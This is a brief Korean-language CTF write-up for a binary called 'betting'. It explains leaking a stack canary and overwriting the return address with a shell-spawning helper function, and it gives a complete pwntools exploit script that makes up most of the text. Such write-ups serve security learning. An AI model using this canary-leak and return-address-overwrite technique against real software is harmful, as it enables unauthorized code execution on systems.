betting
Binary File
[사진 1-1]
Canary가 걸려있으므로 Canary Leak을 해줘야 한다 우선 프로그램을 실행해보자.
[사진 1-2]
[사진 1-3]
함수를 하나하나 훑어보면 shell 실행 함수가 떡하니 나와있다. 앞에 padding을 하고 마지막에 오는 ret 주소 부분에 이 helper 함수를 넣어주면 될 것이다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| from pwn import *
r = process('./betting') helper = 0x4008F6
def canary(): global canary r.sendlineafter("? ", "A"*24) r.sendlineafter("? ", "2") r.recvuntil("A"*24 + "\n") canary = u64("\x00" + r.recv()[:7]) r.sendlineafter("? ", "2")
def exploit(): payload = "" payload += "A"*40 payload += p64(canary) payload += "A"*8 payload += p64(helper) r.sendline(payload) r.interactive()
if __name__ == "__main__": canary() exploit()
|
[Exploit Code]